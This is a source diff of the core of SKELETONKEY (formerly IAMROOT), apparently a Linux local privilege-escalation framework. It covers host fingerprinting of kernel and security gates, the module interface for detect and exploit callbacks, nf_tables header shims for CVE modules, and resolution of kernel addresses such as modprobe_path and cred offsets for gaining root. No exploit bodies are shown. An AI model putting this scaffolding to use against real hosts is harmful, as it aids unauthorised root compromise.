+ * Used for sudo/pkexec/packagekitd version parsing at startup. */
+static bool capture_first_line(const char *cmd, char *dst, size_t cap)
+{
+	dst[0] = '\0';
+	FILE *p = popen(cmd, "r");
+	if (!p) return false;
+	char buf[256];
+	bool got = (fgets(buf, sizeof buf, p) != NULL);
+	int rc = pclose(p);
+	if (!got || rc != 0) return false;
+	size_t L = strlen(buf);
+	while (L > 0 && (buf[L-1] == '\n' || buf[L-1] == '\r'))
+		buf[--L] = '\0';
+	if (L >= cap) L = cap - 1;
+	memcpy(dst, buf, L);
+	dst[L] = '\0';
+	return true;
+}
+
+/* Extract the version-string token from a line of the form
+ * "<prefix>: <version> [rest]" or "<prefix> <version> [rest]". The
+ * version token is everything from the first non-space after
+ * `prefix` up to the next whitespace. Empty result when prefix not
+ * found. */
+static void extract_version_after_prefix(const char *line,
+					 const char *prefix,
+					 char *dst, size_t cap)
+{
+	dst[0] = '\0';
+	const char *p = strstr(line, prefix);
+	if (!p) return;
+	p += strlen(prefix);
+	while (*p == ' ' || *p == ':' || *p == '\t') p++;
+	size_t i = 0;
+	while (*p && *p != ' ' && *p != '\t' && i + 1 < cap)
+		dst[i++] = *p++;
+	dst[i] = '\0';
+}
+
+static void populate_userspace_versions(struct skeletonkey_host *h)
+{
+	h->sudo_version[0]   = '\0';
+	h->polkit_version[0] = '\0';
+
+	char line[256];
+	if (capture_first_line("sudo -V 2>/dev/null", line, sizeof line))
+		extract_version_after_prefix(line, "Sudo version",
+			h->sudo_version, sizeof h->sudo_version);
+
+	if (capture_first_line("pkexec --version 2>/dev/null", line, sizeof line))
+		extract_version_after_prefix(line, "pkexec version",
+			h->polkit_version, sizeof h->polkit_version);
+}
+
+/* ── public entrypoints ───────────────────────────────────────────── */
+
+const struct skeletonkey_host *skeletonkey_host_get(void)
+{
+	if (g_host_ready) return &g_host;
+
+	memset(&g_host, 0, sizeof g_host);
+	populate_kernel(&g_host);
+	populate_distro(&g_host);
+	populate_user(&g_host);
+	populate_platform_family(&g_host);
+	populate_caps(&g_host);
+	populate_services(&g_host);
+	populate_userspace_versions(&g_host);
+	g_host.probe_source = "skeletonkey core/host.c";
+	g_host_ready = true;
+	return &g_host;
+}
+
+bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
+				      int major, int minor, int patch)
+{
+	if (!h || h->kernel.major == 0)
+		return false;
+	if (h->kernel.major != major) return h->kernel.major > major;
+	if (h->kernel.minor != minor) return h->kernel.minor > minor;
+	return h->kernel.patch >= patch;
+}
+
+bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
+				      int lo_M, int lo_m, int lo_p,
+				      int hi_M, int hi_m, int hi_p)
+{
+	return  skeletonkey_host_kernel_at_least(h, lo_M, lo_m, lo_p) &&
+	       !skeletonkey_host_kernel_at_least(h, hi_M, hi_m, hi_p);
+}
+
+void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json)
+{
+	if (json || h == NULL) return;
+	fprintf(stderr, "[*] host: %s%s%s  kernel=%s  arch=%s  distro=%s/%s\n",
+		h->nodename[0] ? h->nodename : "?",
+		h->is_root ? "  (ROOT)" : "",
+		h->is_ssh_session ? "  (SSH)" : "",
+		h->kernel.release ? h->kernel.release : "?",
+		h->arch[0] ? h->arch : "?",
+		h->distro_id[0] ? h->distro_id : "?",
+		h->distro_version_id[0] ? h->distro_version_id : "?");
+	fprintf(stderr, "[*] gates: userns=%s  aa_restrict=%s  bpf_disabled=%s  "
+			"kpti=%s  lockdown=%s  selinux=%s  yama_ptrace=%s\n",
+		h->unprivileged_userns_allowed ? "yes" : "no",
+		h->apparmor_restrict_userns    ? "on"  : "off",
+		h->unprivileged_bpf_disabled   ? "yes" : "no",
+		h->kpti_enabled                ? "on"  : "off",
+		h->kernel_lockdown_active      ? "on"  : "off",
+		h->selinux_enforcing           ? "on"  : "off",
+		h->yama_ptrace_restricted      ? "yes" : "no");
+	if (h->sudo_version[0] || h->polkit_version[0])
+		fprintf(stderr, "[*] userspace: sudo=%s  polkit=%s\n",
+			h->sudo_version[0]   ? h->sudo_version   : "-",
+			h->polkit_version[0] ? h->polkit_version : "-");
+}

core/host.h

@@ -0,0 +1,142 @@
+/*
+ * SKELETONKEY — host fingerprint
+ *
+ * Populated once at startup, before any module's detect() runs. Every
+ * module receives a stable pointer via skeletonkey_ctx.host and can
+ * consult it without re-parsing /proc, /etc/os-release, uname(2), or
+ * forking another userns probe.
+ *
+ * The struct is deliberately POD (no heap pointers, fixed-size
+ * arrays) so lifetime reasoning is trivial. A single static instance
+ * lives in core/host.c; skeletonkey_host_get() returns the same
+ * pointer on every call. The first call probes; subsequent calls
+ * are O(1) lookups.
+ *
+ * Fields that don't apply on a given platform (e.g. AppArmor sysctls
+ * on a non-Linux dev build, KPTI on aarch64) stay at their false /
+ * "?" defaults. Probing is best-effort: a missing sysctl never fails
+ * the call, just leaves the corresponding bool false.
+ */
+
+#ifndef SKELETONKEY_HOST_H
+#define SKELETONKEY_HOST_H
+
+#include "kernel_range.h"
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <sys/types.h>
+
+struct skeletonkey_host {
+	/* ── identity ─────────────────────────────────────────────── */
+
+	struct kernel_version kernel;     /* uname.release parsed */
+	char arch[32];                    /* uname.machine ("x86_64", "aarch64") */
+	char nodename[64];                /* uname.nodename (for log lines) */
+
+	char distro_id[64];               /* /etc/os-release ID ("ubuntu", "debian", "fedora", "?") */
+	char distro_version_id[64];       /* /etc/os-release VERSION_ID ("24.04", "13", "?") */
+	char distro_pretty[128];          /* /etc/os-release PRETTY_NAME for log lines */
+
+	/* ── process state ─────────────────────────────────────────── */
+
+	uid_t euid;                       /* geteuid() */
+	uid_t real_uid;                   /* outer uid (defeats userns illusion via /proc/self/uid_map) */
+	gid_t egid;                       /* getegid() */
+	char username[64];                /* getpwuid(euid)->pw_name or "" */
+	bool is_root;                     /* euid == 0 */
+	bool is_ssh_session;              /* SSH_CONNECTION env var set */
+
+	/* ── platform family ───────────────────────────────────────── */
+
+	bool is_linux;                    /* compiled / running on Linux */
+	bool is_debian_family;            /* /etc/debian_version exists */
+	bool is_rpm_family;               /* redhat / fedora / rocky / almalinux release file */
+	bool is_arch_family;              /* /etc/arch-release */
+	bool is_suse_family;              /* /etc/SuSE-release or /etc/SUSE-brand */
+
+	/* ── capability / gate flags (Linux) ──────────────────────── */
+
+	bool unprivileged_userns_allowed; /* fork+unshare(CLONE_NEWUSER) succeeded */
+	bool apparmor_restrict_userns;    /* sysctl: 1 = AA blocks unpriv userns */
+	bool unprivileged_bpf_disabled;   /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
+	bool kpti_enabled;                /* /sys/.../meltdown contains "Mitigation: PTI" */
+	char meltdown_mitigation[64];     /* raw first line of
+	                                   * /sys/devices/system/cpu/vulnerabilities/meltdown
+	                                   * — empty string if unreadable. Modules that need
+	                                   * to distinguish "Not affected" (CPU immune) from
+	                                   * "Mitigation: PTI" / "Vulnerable" can read this. */
+	bool kernel_lockdown_active;      /* /sys/kernel/security/lockdown != [none] */
+	bool selinux_enforcing;           /* /sys/fs/selinux/enforce = 1 */
+	bool yama_ptrace_restricted;      /* /proc/sys/kernel/yama/ptrace_scope > 0 */
+
+	/* ── system services ──────────────────────────────────────── */
+
+	bool has_systemd;                 /* /run/systemd/system exists */
+	bool has_dbus_system;             /* /run/dbus/system_bus_socket exists */
+
+	/* ── userspace component versions ─────────────────────────
+	 * Parsed once at startup via popen() of the relevant binary's
+	 * --version output. Empty string ("") means "tool not installed
+	 * or version parse failed" — modules should treat that as
+	 * PRECOND_FAIL (no exploit target). The exact format mirrors
+	 * what the tool prints (`Sudo version 1.9.5p2`, `pkexec version
+	 * 0.105`, …); modules do their own range parsing. */
+	char sudo_version[64];            /* "1.9.13p1" or "" */
+	char polkit_version[64];          /* "0.105" or "126" or "" */
+
+	/* Informational: the SKELETONKEY component that populated this
+	 * snapshot (for log/JSON output). */
+	const char *probe_source;
+};
+
+/* Get the host fingerprint. Returns a stable, non-null pointer that
+ * lives for the process lifetime. Probes happen lazily on the first
+ * call (~50ms; dominated by the userns fork-probe), are cached, and
+ * subsequent calls are free.
+ *
+ * Probing is best-effort: missing files / unsupported sysctls leave
+ * the corresponding bool false. The function does not fail. */
+const struct skeletonkey_host *skeletonkey_host_get(void);
+
+/* Print a two-line "host fingerprint" banner to stderr suitable for
+ * --auto / --scan verbose output. Silent on JSON mode. */
+void skeletonkey_host_print_banner(const struct skeletonkey_host *h, bool json);
+
+/* True iff h->kernel >= the (major, minor, patch) provided. Returns
+ * false if h is NULL or its kernel version was never populated (major
+ * == 0). Replaces the manual `v->major < X` / `(v->major == X &&
+ * v->minor < Y)` patterns scattered across detect()s — cleaner reads
+ * and one place to get the comparison right.
+ *
+ * Examples:
+ *   if (!host_kernel_at_least(h, 7, 0, 0))    // kernel predates 7.0
+ *       return SKELETONKEY_OK;
+ *   if ( host_kernel_at_least(h, 6, 8, 0))    // kernel post-fix
+ *       return SKELETONKEY_OK;
+ */
+bool skeletonkey_host_kernel_at_least(const struct skeletonkey_host *h,
+                                      int major, int minor, int patch);
+
+/* True iff h->kernel is in [lo, hi). Useful for "vulnerable range"
+ * gates where the simple `kernel_range_is_patched` backport model
+ * doesn't apply — e.g. a feature added in X.Y and removed/superseded
+ * in W.Z, or a per-module "vulnerable only on these specific kernel
+ * lines" check.
+ *
+ * Equivalent to:
+ *   host_kernel_at_least(h, lo...) && !host_kernel_at_least(h, hi...)
+ *
+ * For "predates the bug" alone use host_kernel_at_least directly; the
+ * `in_range` form is for the bounded interval case.
+ *
+ * Example:
+ *   if (host_kernel_in_range(h, 5, 8, 0,  5, 17, 0))
+ *       // kernel 5.8 ≤ K < 5.17 — vulnerable window per the mainline
+ *       // introduction/fix dates (ignoring stable backports)
+ */
+bool skeletonkey_host_kernel_in_range(const struct skeletonkey_host *h,
+                                      int lo_major, int lo_minor, int lo_patch,
+                                      int hi_major, int hi_minor, int hi_patch);
+
+#endif /* SKELETONKEY_HOST_H */

core/kernel_range.c

@@ -1,5 +1,5 @@
 /*
- * IAMROOT — kernel_range implementation
+ * SKELETONKEY — kernel_range implementation
  */
 
 #include "kernel_range.h"
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
     if (uname(&u) < 0) return false;
 
     /* Stash release string for callers that want to print it. We hold
-     * a single static buffer; not threadsafe but iamroot is single-
+     * a single static buffer; not threadsafe but skeletonkey is single-
      * threaded today. */
     snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
     out->release = g_release_buf;

core/kernel_range.h

@@ -1,5 +1,5 @@
 /*
- * IAMROOT — kernel version range matching
+ * SKELETONKEY — kernel version range matching
  *
  * Every CVE module needs to answer "is the host kernel in the affected
  * range?". This file centralizes that.
@@ -17,8 +17,8 @@
  * patch version is at or above the threshold.
  */
 
-#ifndef IAMROOT_KERNEL_RANGE_H
-#define IAMROOT_KERNEL_RANGE_H
+#ifndef SKELETONKEY_KERNEL_RANGE_H
+#define SKELETONKEY_KERNEL_RANGE_H
 
 #include <stdbool.h>
 #include <stddef.h>
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
 bool kernel_range_is_patched(const struct kernel_range *r,
                              const struct kernel_version *v);
 
-#endif /* IAMROOT_KERNEL_RANGE_H */
+#endif /* SKELETONKEY_KERNEL_RANGE_H */

core/module.h

@@ -1,59 +1,69 @@
 /*
- * IAMROOT — core module interface
+ * SKELETONKEY — core module interface
  *
- * Every CVE module exports one or more `struct iamroot_module` entries
- * via a registry function. The top-level dispatcher (iamroot.c) walks
+ * Every CVE module exports one or more `struct skeletonkey_module` entries
+ * via a registry function. The top-level dispatcher (skeletonkey.c) walks
  * the global registry to implement --scan, --exploit, --mitigate, etc.
  *
  * This is intentionally a small interface. Modules carry the
  * complexity; the dispatcher just routes.
  */
 
-#ifndef IAMROOT_MODULE_H
-#define IAMROOT_MODULE_H
+#ifndef SKELETONKEY_MODULE_H
+#define SKELETONKEY_MODULE_H
 
 #include <stddef.h>
 #include <stdbool.h>
 
 /* Standard result codes returned by detect()/exploit()/mitigate().
  *
- * These map to top-level exit codes when iamroot is invoked with a
+ * These map to top-level exit codes when skeletonkey is invoked with a
  * single-module operation:
  *
- *   IAMROOT_OK            exit 0   detect: not vulnerable / clean
- *   IAMROOT_VULNERABLE    exit 2   detect: confirmed vulnerable
- *   IAMROOT_PRECOND_FAIL  exit 4   detect: preconditions missing
- *   IAMROOT_TEST_ERROR    exit 1   detect/exploit: error
- *   IAMROOT_EXPLOIT_OK    exit 5   exploit: succeeded (root achieved)
- *   IAMROOT_EXPLOIT_FAIL  exit 3   exploit: attempted but did not land
+ *   SKELETONKEY_OK            exit 0   detect: not vulnerable / clean
+ *   SKELETONKEY_VULNERABLE    exit 2   detect: confirmed vulnerable
+ *   SKELETONKEY_PRECOND_FAIL  exit 4   detect: preconditions missing
+ *   SKELETONKEY_TEST_ERROR    exit 1   detect/exploit: error
+ *   SKELETONKEY_EXPLOIT_OK    exit 5   exploit: succeeded (root achieved)
+ *   SKELETONKEY_EXPLOIT_FAIL  exit 3   exploit: attempted but did not land
  *
  * Implementation note: copy_fail_family's df_result_t shares these
  * numeric values intentionally so the family code can return its
  * existing constants without translation.
  */
 typedef enum {
-    IAMROOT_OK              = 0,
-    IAMROOT_TEST_ERROR      = 1,
-    IAMROOT_VULNERABLE      = 2,
-    IAMROOT_EXPLOIT_FAIL    = 3,
-    IAMROOT_PRECOND_FAIL    = 4,
-    IAMROOT_EXPLOIT_OK      = 5,
-} iamroot_result_t;
+    SKELETONKEY_OK              = 0,
+    SKELETONKEY_TEST_ERROR      = 1,
+    SKELETONKEY_VULNERABLE      = 2,
+    SKELETONKEY_EXPLOIT_FAIL    = 3,
+    SKELETONKEY_PRECOND_FAIL    = 4,
+    SKELETONKEY_EXPLOIT_OK      = 5,
+} skeletonkey_result_t;
 
-/* Per-invocation context passed to module callbacks. Lightweight for
- * now; will grow as modules need shared state (host fingerprint,
- * leaked kbase, etc.). */
-struct iamroot_ctx {
+/* Per-invocation context passed to module callbacks. The host
+ * fingerprint (kernel / distro / capability gates / service presence)
+ * is populated once at startup by core/host.c and handed to every
+ * module callback here — see core/host.h. */
+struct skeletonkey_host;   /* forward decl; full def in core/host.h */
+
+struct skeletonkey_ctx {
     bool          no_color;     /* --no-color */
     bool          json;         /* --json (machine-readable output) */
     bool          active_probe; /* --active (do invasive probes in detect) */
     bool          no_shell;     /* --no-shell (exploit prep but don't pop) */
     bool          authorized;   /* user typed --i-know on exploit */
     bool          full_chain;   /* --full-chain (attempt root-pop after primitive) */
+    bool          dry_run;      /* --dry-run (preview only; never call exploit/mitigate/cleanup) */
+
+    /* Host fingerprint — see core/host.h. Stable pointer, populated
+     * once by main() before any module callback runs. Modules that
+     * want to consult it #include "../../core/host.h". May be NULL
+     * only in degenerate test contexts; main() always sets it. */
+    const struct skeletonkey_host *host;
 };
 
-struct iamroot_module {
-    /* Short id used on the command line: `iamroot --exploit copy_fail`. */
+struct skeletonkey_module {
+    /* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
     const char *name;
 
     /* CVE identifier (or "VARIANT" if no CVE assigned). */
@@ -71,20 +81,20 @@ struct iamroot_module {
     const char *kernel_range;
 
     /* Probe the host. Should be side-effect-free unless ctx->active_probe
-     * is true. Return IAMROOT_VULNERABLE if confirmed,
-     * IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
-     * or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
-    iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
+     * is true. Return SKELETONKEY_VULNERABLE if confirmed,
+     * SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
+     * or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
+    skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
 
     /* Run the exploit. Caller has already passed the --i-know gate. */
-    iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
+    skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
 
     /* Apply a temporary mitigation. NULL if none offered. */
-    iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
+    skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
 
     /* Undo --exploit (e.g. evict from page cache) or --mitigate side
      * effects. NULL if no cleanup applies. */
-    iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
+    skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
 
     /* Detection rule corpus — embedded so the binary is self-
      * contained. Each may be NULL if this module ships no rules for
@@ -94,6 +104,46 @@ struct iamroot_module {
     const char *detect_sigma;    /* sigma YAML content */
     const char *detect_yara;     /* yara rules content */
     const char *detect_falco;    /* falco rules content */
+
+    /* Operational-security notes — telemetry footprint THIS specific
+     * exploit leaves behind. The inverse of detect_auditd/yara/falco
+     * above (the rules catch what these notes describe). Free-form
+     * prose, conventionally listing: dmesg lines triggered, auditd
+     * events, file artifacts created/modified, persistence side-
+     * effects, recommended cleanup. Per-module (not per-CVE) because
+     * different exploits for the same bug can leave different
+     * footprints. NULL if no analysis written yet.
+     *
+     * NB: ATT&CK / CWE / KEV metadata is properties of the CVE itself
+     * (independent of exploit technique) and lives in
+     * core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
+     * tools/refresh-cve-metadata.py. */
+    const char *opsec_notes;
+
+    /* Architecture support for the exploit() body. detect() works on
+     * any Linux arch (it just consults ctx->host); the question this
+     * field answers is: if this module says VULNERABLE, will the
+     * --exploit path actually fire on aarch64 / arm64? Values:
+     *
+     *   "any"            — userspace bug or arch-agnostic kernel
+     *                      primitive (pwnkit, sudo*, pack2theroot,
+     *                      dirty_pipe, dirty_cow, most netfilter/fs
+     *                      bugs that use msg_msg sprays + structural
+     *                      escapes).
+     *   "x86_64"         — strictly x86-only (entrybleed needs
+     *                      prefetchnta + KPTI, which doesn't apply
+     *                      to ARM's TTBR_EL0/EL1 model).
+     *   "x86_64+unverified-arm64" — exploit body likely works on
+     *                      arm64 but hasn't been verified on a real
+     *                      arm64 host yet (e.g. copy_fail_family
+     *                      assumes some x86_64 struct offsets;
+     *                      --full-chain finisher uses x86_64-style
+     *                      kernel ROP gadgets).
+     *
+     * NULL = unmapped (treat as "x86_64+unverified-arm64" by default;
+     * a future arm64-on-Vagrant sweep will fill these in). Surfaced
+     * in --list (ARCH column) and --module-info. */
+    const char *arch_support;
 };
 
-#endif /* IAMROOT_MODULE_H */
+#endif /* SKELETONKEY_MODULE_H */

core/nft_compat.h

@@ -0,0 +1,98 @@
+/*
+ * SKELETONKEY — nf_tables uapi compat shims.
+ *
+ * Older distro kernel headers (e.g. Ubuntu 20.04's linux-libc-dev ships
+ * the 5.4 uapi; Debian 11 ships 5.10) don't define every nft attribute
+ * or chain flag the exploits use. The numeric values are stable kernel
+ * ABI — the target kernel understands them at runtime regardless of
+ * what was present in the build host's uapi headers. Conditionally
+ * define them here so modules compile against any reasonable header set.
+ *
+ * Sources for the numeric values:
+ *   include/uapi/linux/netfilter/nf_tables.h in mainline at the kernel
+ *   version that introduced each enum.
+ *
+ * Include AFTER <linux/netfilter/nf_tables.h>.
+ */
+
+#ifndef SKELETONKEY_NFT_COMPAT_H
+#define SKELETONKEY_NFT_COMPAT_H
+
+#include <linux/netfilter/nf_tables.h>
+
+/* ── chain flags ─────────────────────────────────────────────────── */
+
+/* NFT_CHAIN_HW_OFFLOAD: kernel 5.5 (commit be0b86e0594d). Needed by
+ * nft_fwd_dup_cve_2022_25636. */
+#ifndef NFT_CHAIN_HW_OFFLOAD
+#define NFT_CHAIN_HW_OFFLOAD  0x2
+#endif
+
+/* NFT_CHAIN_BINDING: kernel 5.9 (commit d164385ec572). */
+#ifndef NFT_CHAIN_BINDING
+#define NFT_CHAIN_BINDING     0x4
+#endif
+
+/* ── chain attrs ─────────────────────────────────────────────────── */
+
+/* NFTA_CHAIN_FLAGS: kernel 5.7 (commit 65038428b2c6). Ubuntu 18.04's
+ * 4.15-era uapi lacks it. Position 10 in the enum
+ * (NFTA_CHAIN_TABLE=1..NFTA_CHAIN_USERDATA=9, NFTA_CHAIN_FLAGS=10). */
+#ifndef NFTA_CHAIN_FLAGS
+#define NFTA_CHAIN_FLAGS      10
+#endif
+
+/* NFTA_CHAIN_ID: kernel 5.13 (commit 837830a4b439). */
+#ifndef NFTA_CHAIN_ID
+#define NFTA_CHAIN_ID         11
+#endif
+
+/* ── verdict attrs ──────────────────────────────────────────────── */
+
+/* NFTA_VERDICT_CHAIN_ID: kernel 5.14 (commit 4ed8eb6570a4). Needed by
+ * nf_tables_cve_2024_1086. */
+#ifndef NFTA_VERDICT_CHAIN_ID
+#define NFTA_VERDICT_CHAIN_ID 3   /* CODE=1, CHAIN=2, CHAIN_ID=3 */
+#endif
+
+/* ── set attrs ──────────────────────────────────────────────────── */
+
+/* NFTA_SET_DESC_CONCAT: kernel 5.6 (commit 8aeff38e08d2 — concat sets). */
+#ifndef NFTA_SET_DESC_CONCAT
+#define NFTA_SET_DESC_CONCAT  2   /* DESC_SIZE=1, DESC_CONCAT=2 */
+#endif
+
+/* NFTA_SET_EXPR: kernel 5.12 (commit 65038428b2c6 — anon expr on sets). */
+#ifndef NFTA_SET_EXPR
+#define NFTA_SET_EXPR         13
+#endif
+
+/* NFTA_SET_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
+#ifndef NFTA_SET_EXPRESSIONS
+#define NFTA_SET_EXPRESSIONS  14
+#endif
+
+/* ── set-element attrs ──────────────────────────────────────────── */
+
+/* NFTA_SET_ELEM_KEY_END: kernel 5.6 (commit 7b225d0b5c5b). */
+#ifndef NFTA_SET_ELEM_KEY_END
+#define NFTA_SET_ELEM_KEY_END 7
+#endif
+
+/* NFTA_SET_ELEM_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
+#ifndef NFTA_SET_ELEM_EXPRESSIONS
+#define NFTA_SET_ELEM_EXPRESSIONS 11
+#endif
+
+/* ── data attrs (newer additions tend to be backported uneven) ──── */
+
+/* Make sure NFTA_DATA_VERDICT and friends exist — present since 3.13;
+ * here only as a tripwire if a very old header somehow lacks them. */
+#ifndef NFTA_DATA_VERDICT
+#define NFTA_DATA_VERDICT     2
+#endif
+#ifndef NFTA_DATA_VALUE
+#define NFTA_DATA_VALUE       1
+#endif
+
+#endif /* SKELETONKEY_NFT_COMPAT_H */

core/offsets.c

@@ -1,5 +1,5 @@
 /*
- * IAMROOT — kernel offset resolution
+ * SKELETONKEY — kernel offset resolution
  *
  * See offsets.h for the four-source chain (env → kallsyms → System.map
  * → embedded table). This implementation is deliberately small and
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
 #define DEFAULT_CRED_EFF_OFFSET    0x740
 #define DEFAULT_CRED_UID_OFFSET    0x4
 
-const char *iamroot_offset_source_name(enum iamroot_offset_source src)
+const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
 {
     switch (src) {
     case OFFSETS_NONE:          return "none";
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
 /* ------------------------------------------------------------------
  * Source 1: environment variables
  * ------------------------------------------------------------------ */
-static void apply_env(struct iamroot_kernel_offsets *o)
+static void apply_env(struct skeletonkey_kernel_offsets *o)
 {
     const char *v;
     uintptr_t a;
 
-    if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
+    if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
         if (!o->kbase) o->kbase = a;
     }
-    if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
+    if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
         if (!o->modprobe_path) {
             o->modprobe_path = a;
             o->source_modprobe = OFFSETS_FROM_ENV;
         }
     }
-    if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
+    if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
         if (!o->poweroff_cmd) o->poweroff_cmd = a;
     }
-    if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
+    if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
         if (!o->init_task) {
             o->init_task = a;
             o->source_init_task = OFFSETS_FROM_ENV;
         }
     }
-    if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
+    if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
         if (!o->init_cred) o->init_cred = a;
     }
-    if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
+    if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
         if (!o->cred_offset_real) {
             o->cred_offset_real = (uint32_t)a;
             o->source_cred = OFFSETS_FROM_ENV;
         }
     }
-    if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
+    if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
         if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
     }
-    if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
+    if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
         if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
     }
 }
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
  * the same "ADDR TYPE NAME" format).
  * ------------------------------------------------------------------ */
 static int parse_symfile(const char *path,
-                         struct iamroot_kernel_offsets *o,
-                         enum iamroot_offset_source tag)
+                         struct skeletonkey_kernel_offsets *o,
+                         enum skeletonkey_offset_source tag)
 {
     FILE *f = fopen(path, "r");
     if (!f) return 0;
@@ -225,7 +225,7 @@ static int parse_symfile(const char *path,
  * Source 4: embedded table — relative offsets, applied on top of kbase
  * if we already have one.
  * ------------------------------------------------------------------ */
-static void apply_table(struct iamroot_kernel_offsets *o)
+static void apply_table(struct skeletonkey_kernel_offsets *o)
 {
     if (!o->kernel_release[0]) return;
 
@@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
 /* ------------------------------------------------------------------
  * Top-level resolve()
  * ------------------------------------------------------------------ */
-int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
+int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
 {
     memset(out, 0, sizeof *out);
 
@@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
     return critical;
 }
 
-void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
+void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
                                       uintptr_t leaked_kbase)
 {
     if (!leaked_kbase) return;
@@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
     apply_table(off);
 }
 
-bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
+bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
 {
     return off && off->modprobe_path != 0;
 }
 
-bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
+bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
 {
     return off && off->init_task != 0 && off->cred_offset_real != 0
            && off->cred_uid_offset != 0;
 }
 
-void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
+void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
 {
     fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
             off->kernel_release[0] ? off->kernel_release : "?",
@@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
     fprintf(stderr, "[i] offsets: kbase=0x%lx  modprobe_path=0x%lx (%s)\n",
             (unsigned long)off->kbase,
             (unsigned long)off->modprobe_path,
-            iamroot_offset_source_name(off->source_modprobe));
+            skeletonkey_offset_source_name(off->source_modprobe));
     fprintf(stderr, "[i] offsets: init_task=0x%lx (%s)  cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
             (unsigned long)off->init_task,
-            iamroot_offset_source_name(off->source_init_task),
+            skeletonkey_offset_source_name(off->source_init_task),
             off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
-            iamroot_offset_source_name(off->source_cred));
+            skeletonkey_offset_source_name(off->source_cred));
 }

core/offsets.h

@@ -1,5 +1,5 @@
 /*
- * IAMROOT — kernel offset resolution
+ * SKELETONKEY — kernel offset resolution
  *
  * The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
  * (heap-OOB write, UAF, etc.). Converting that to root requires
@@ -10,7 +10,7 @@
  * Those addresses vary per kernel build. This file resolves them at
  * runtime via a four-source chain:
  *
- *   1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
+ *   1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
  *   2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
  *   3. /boot/System.map-$(uname -r) (world-readable on some distros)
  *   4. Embedded table keyed by `uname -r` glob (entries are
@@ -22,14 +22,14 @@
  * pointing the operator at the manual workflow.
  */
 
-#ifndef IAMROOT_OFFSETS_H
-#define IAMROOT_OFFSETS_H
+#ifndef SKELETONKEY_OFFSETS_H
+#define SKELETONKEY_OFFSETS_H
 
 #include <stdint.h>
 #include <stdbool.h>
 #include <stddef.h>
 
-enum iamroot_offset_source {
+enum skeletonkey_offset_source {
     OFFSETS_NONE         = 0,
